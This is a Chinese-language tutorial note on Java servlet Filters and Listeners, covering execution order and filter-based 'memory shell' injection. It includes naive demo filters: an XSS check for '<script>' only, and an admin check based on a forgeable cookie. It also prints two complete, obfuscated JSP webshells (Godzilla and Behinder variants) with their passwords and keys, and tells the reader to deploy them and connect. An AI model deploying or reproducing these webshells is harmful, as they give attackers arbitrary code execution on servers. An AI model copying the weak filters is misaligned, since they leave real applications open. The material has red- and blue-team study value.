Filter被称为过滤器,过滤器实际上就是对Web资源进行拦截,做一些处理后再交给下一个过滤器或Servlet处理,通常都是用来拦截request进行处理的,也可以对返回的 response进行拦截处理。开发人员利用filter技术,可以实现对所有Web资源的管理,例如实现权限访问控制、过滤敏感词汇、压缩响应信息等一些高级功能。
listennet(监听器)-》filter(过滤器)-》servlet(代码层)
内存马不到代码层,直接跳过了,连到数据库
创建测试项目,HttpServlet爆红问题
https://blog.csdn.net/bachfuck/article/details/109728214
TestServlet:
package com.example.filterdemo.filter.servlet;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
@WebServlet("/test")
public class TestServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String code = req.getParameter("code");
PrintWriter out = resp.getWriter();
out.println(code);
out.close();
}
}
XssFilter:
package com.example.filterdemo.filter;
import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import javax.servlet.http.HttpServlet;
import java.io.IOException;
@WebFilter("/test")
public class XssFilter implements Filter {
@Override
//中间件开启以后就开始运行
public void init(FilterConfig filterConfig) throws ServletException {
System.out.println("xss开启过滤");
}
@Override
//中间件关闭就自动运行
public void destroy() {
System.out.println("xss销毁过滤");
}
@Override
//doFilter路由触发方法
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
System.out.println("xss正在过滤");
//过滤放行
filterChain.doFilter(servletRequest,servletResponse);
}
}
一开始就已经开启了监听器,
等我们访问的时候给到了执行结果(触发了init)
当我们停止tomcat的时候,停止过滤
过滤没有写过滤内容,在放行代码前进行一个判断
System.out.println("xss正在过滤");
//Xss过滤,有payload过滤,没有放行
HttpServletRequest requset = (HttpServletRequest) servletRequest;
requset.getParameter("code");
String code = requset.getParameter("code");
if (!code.contains("<script>")){
//没有payload
//过滤放行
filterChain.doFilter(servletRequest,servletResponse);
}else{
//存在payload
System.out.println("可能存在xss攻击");
}
package com.example.filterdemo.filter;
import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;
@WebFilter("/test")
public class XssFilter implements Filter {
@Override
//中间件开启以后就开始运行
public void init(FilterConfig filterConfig) throws ServletException {
System.out.println("xss开启过滤");
}
@Override
//中间件关闭就自动运行
public void destroy() {
System.out.println("xss销毁过滤");
}
@Override
//doFilter路由触发方法
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
System.out.println("xss正在过滤");
//Xss过滤,有payload过滤,没有放行
HttpServletRequest requset = (HttpServletRequest) servletRequest;
requset.getParameter("code");
String code = requset.getParameter("code");
if (!code.contains("<script>")){
//没有payload
//过滤放行
filterChain.doFilter(servletRequest,servletResponse);
}else{
//存在payload
System.out.println("可能存在xss攻击");
}
}
}
init-》dofilter-》destroy,这样的一个执行流程
请求的一个过程
Admin权限判断
AdminServlet:
package com.example.filterdemo.servlet;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
@WebServlet("/admin")
public class AdminServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
System.out.println("欢迎来到管理员界面");
}
}
AdminFilter:
package com.example.filterdemo.filter;
import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.Cookie;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;
@WebFilter("/admin")
public class AdminFilter implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
System.out.println("admin身份检测开启");
}
@Override
public void destroy() {
System.out.println("admin身份检测销毁");
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
//检测cookie过滤
System.out.println("admin身份检测开始检测");
//获取cookie
HttpServletRequest request = (HttpServletRequest) servletRequest;
Cookie[] cookies= request.getCookies();
for (Cookie c:cookies){
String cName = c.getName(); //获取cookie名
String cValue = c.getValue(); //获取cookie值
System.out.println(cName);
System.out.println(cValue);
if (cName.contains("user") && cValue.contains("admin")){
filterChain.doFilter(servletRequest,servletResponse);
}else{
System.out.println("非admin用户");
}
}
}
}
Config.jsp(哥斯拉🐎)
//密码:Tas9er 密钥:lfNRX4 有效载荷:JavaDynamicPayload 加密器:JAVA_AES_BASE64 写入时去掉此行
Hello Administrator!Welcome To Tas9er Godzilla JSP Console!
<%! String govsb_uV9q = "369cb3b8becea21a";
String govsb_UkbXDu = "Tas9er";
class govsb_3 extends /*edusb_suAZvRiR3*/ClassLoader {
public govsb_3(ClassLoader govsb_rQic) {
super/*edusb_a*/(govsb_rQic);
}
public Class govsb_xzEW3IMM(byte[] govsb_COjEHWGNDzzH3i) {
return super./*edusb_uEIxv*/\u0064\u0065\u0066\u0069\u006e\u0065\u0043\u006c\u0061\u0073\u0073/*edusb_F1xtlRscJ*/(govsb_COjEHWGNDzzH3i, 668449-668449, govsb_COjEHWGNDzzH3i.length);
}
}
public byte[] govsb_ESlIWvCZu0U(byte[] govsb_VfrYhvrOtnH, boolean govsb_NPPoT6my) {
try {
j\u0061\u0076\u0061\u0078./*edusb_X7VbSt*/\u0063\u0072\u0079\u0070\u0074\u006f.Cipher govsb_L1tz5WVey = j\u0061\u0076\u0061\u0078.\u0063\u0072\u0079\u0070\u0074\u006f.Cipher.\u0067\u0065\u0074\u0049\u006e\u0073\u0074\u0061\u006e\u0063e/*edusb_6RCTNhviQxTG*/("AES");
govsb_L1tz5WVey.init(govsb_NPPoT6my?668449/668449:668449/668449+668449/668449,new j\u0061\u0076\u0061\u0078.\u0063\u0072\u0079\u0070\u0074\u006f.spec./*edusb_ozuS2*/SecretKeySpec/*edusb_F7GjyBjf8Ge*/(govsb_uV9q.getBytes(), "AES"));
return govsb_L1tz5WVey.doFinal/*edusb_yyi5ieb*/(govsb_VfrYhvrOtnH);
} catch (Exception e) {
return null;
}
}
%><%
try {
byte[] govsb_LTOAYraLi2x5ira = java.util.Base64./*edusb_DfK3*/\u0067\u0065\u0074\u0044\u0065\u0063\u006f\u0064\u0065\u0072()./*edusb_cGN*/decode(request.getParameter(govsb_UkbXDu));
govsb_LTOAYraLi2x5ira = govsb_ESlIWvCZu0U(govsb_LTOAYraLi2x5ira,false);
if (session.getAttribute/*edusb_ShWHuEfLJqtYEQ*/("payload") == null) {
session.setAttribute("payload", new govsb_3(this.\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073()./*edusb_xy*/\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073Loader())/*edusb_aaS*/.govsb_xzEW3IMM(govsb_LTOAYraLi2x5ira));
} else {
request.setAttribute("parameters", govsb_LTOAYraLi2x5ira);
java.io.ByteArrayOutputStream govsb_Bt = new java.io./*edusb_GqA*/ByteArrayOutputStream();
Object govsb_rqB9gzq17qI = /*edusb_tacM9KaUMtutNpY*/((Class) session.getAttribute("payload"))./*edusb_BhHR*//*edusb_R*/new\u0049\u006e\u0073\u0074\u0061\u006e\u0063\u0065()/*edusb_z9hk*/;
govsb_rqB9gzq17qI.equals(govsb_Bt);
govsb_rqB9gzq17qI.equals(pageContext);
response.getWriter().write("58D369FCC084BFABA577AAAE181233C9".substring(668449-668449, 16));
govsb_rqB9gzq17qI.toString();
response.getWriter().write(java.util.Base64/*edusb_RxRJZOonjPE*/.getEncoder()/*edusb_Mpw0*/.encodeToString(govsb_ESlIWvCZu0U(govsb_Bt.toByteArray(),true)));
response.getWriter().write("58D369FCC084BFABA577AAAE181233C9".substring(16));
}
} catch (Exception e) {
}
%>
将上边的jsp放到webapp即可
内存🐎
MemoryShell
FilterShell
getALLfilter(获取所有内存马)
filtersInfo:
filterName: com.example.filterdemo.filter.AdminFilter servletNames: [] urlPatterns: [/admin]
filterName: com.example.filterdemo.filter.XssFilter servletNames: [] urlPatterns: [/test]
filterName: Tomcat WebSocket (JSR356) Filter servletNames: [] urlPatterns: [/*]
//1,2 项目本身 3为中间件
addfilterShell(新增内存马)
add完毕后,再get一下。会发现新增一个监听器。
常规功能是在Serlvet(代码层)实现木马链接,而这个注入的内存马是在Filter的,前边的Listener也可以注入内存马
removeFilter(移除内存马)
Config1.jsp(冰蝎🐎)
<%! 密码Tas9er 写入时去掉此行%>
Hello Administrator!
WelCome To Tas9er Java Console!<%@page import="sun.misc.*,javax.crypto.Cipher,javax.crypto.spec.SecretKeySpec,java.util.Random" %>
<%!
class tas9erCGIjbGbQt extends \u0043l\u0061\u0073\u0073\u004c\u006f\u0061\u0064\u0065\u0072 {
tas9erCGIjbGbQt(\u0043l\u0061\u0073\u0073\u004c\u006f\u0061\u0064\u0065\u0072 tas9erYK16oSMMl) {
super(tas9erYK16oSMMl);
}
public Class tas9er1HtPfdAKI(byte[] tas9ernh7MjwAtK) {
return super.d\uuuuuuuuu0065fineClass(tas9ernh7MjwAtK,0,tas9ernh7MjwAtK.length);
}
}
%><%
out.println("Random Garbage Data:");
Random tas9ersoV3r1IWc = new Random();
int tas9er0RebXw3Z6 = tas9ersoV3r1IWc.nextInt(1234);
int tas9erPlYa7lKMN = tas9ersoV3r1IWc.nextInt(5678);
int tas9erYQ243vUep = tas9ersoV3r1IWc.nextInt(1357);
int tas9erdxK2eskj9 = tas9ersoV3r1IWc.nextInt(2468);
out.println(tas9er0RebXw3Z6+","+tas9erPlYa7lKMN+","+tas9erYQ243vUep+","+tas9erdxK2eskj9);
String[] tas9erjLEELM31f = new String[]{"A", "P", "B", "O", "C", "S", "D", "T"};
String tas9erw3S5Bp9gL = tas9erjLEELM31f[1] + tas9erjLEELM31f[3] + tas9erjLEELM31f[5] + tas9erjLEELM31f[7];
if (request.getMethod().equals(tas9erw3S5Bp9gL)) {
String tas9erN5lxMHHQL = new String(new B\u0041\u0053\u0045\u0036\u0034\u0044\u0065\u0063\u006f\u0064\u0065\u0072().decodeBuffer("MTZhY2FjYzA1YWFmYWY2Nw=="));
session.setAttribute("u", tas9erN5lxMHHQL);
Cipher tas9erxywTO5Nub = Cipher.getInstance("AES");
tas9erxywTO5Nub.init(((tas9er0RebXw3Z6 * tas9erPlYa7lKMN + tas9erYQ243vUep - tas9erdxK2eskj9) * 0) + 3 - 1, new SecretKeySpec(tas9erN5lxMHHQL.getBytes(), "AES"));
new tas9erCGIjbGbQt(this.\u0067\u0065t\u0043\u006c\u0061\u0073\u0073().\u0067\u0065t\u0043\u006c\u0061\u0073\u0073Loader()).tas9er1HtPfdAKI(tas9erxywTO5Nub.doFinal(new sun.misc.B\u0041\u0053\u0045\u0036\u0034\u0044\u0065\u0063\u006f\u0064\u0065\u0072().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);
}
%>
将上边的jsp放到webapp即可
启动tomcat运行,访问Config.jsp,使用冰蝎连接该地址,默认密码为 Tas9er。右键也可以注入内存🐎
listen 监听动作,filter是触发动作
参考:https://blog.csdn.net/qq_52797170/article/details/124023760
-监听ServletContext、HttpSession、ServletRequest等域对象创建和销毁事件
-监听域对象的属性发生修改的事件
-监听在事件发生前、发生后做一些必要的处理
1、创建监听器
2、监听器内置方法
3、监听器触发流程
@WebListener
<listener>
.......
</listener>
Servlet->CreatSession DelSession
CreatSession
package com.example.listendemo.Serlvet;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
@WebServlet("/cs")
public class CreatSession extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
System.out.println("servlet开始创建session");
//创建session
req.getSession();
}
}
DelSession
package com.example.listendemo.Serlvet;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
@WebServlet("/ds")
public class DelSession extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
System.out.println("servlet销毁session");
//销毁session
req.getSession().invalidate();
}
}
listener->ListenSession
package com.example.listendemo.listener;
import javax.servlet.annotation.WebListener;
import javax.servlet.http.HttpSessionEvent;
import javax.servlet.http.HttpSessionListener;
@WebListener
public class ListenSession implements HttpSessionListener {
@Override
public void sessionCreated(HttpSessionEvent se) {
System.out.println("Listen监听器监听到session创建");
}
@Override
public void sessionDestroyed(HttpSessionEvent se) {
System.out.println("Listen监听器监听到session销毁");
}
}
在启动时,会默认拿到一个session
访问cs会创建一个session
访问ds会销毁session
如果多次访问cs,servlet会执行多次,listen只会执行一次监听。
代码审计中分析执行逻辑触发操作,红队内存马植入,蓝队清理内存马等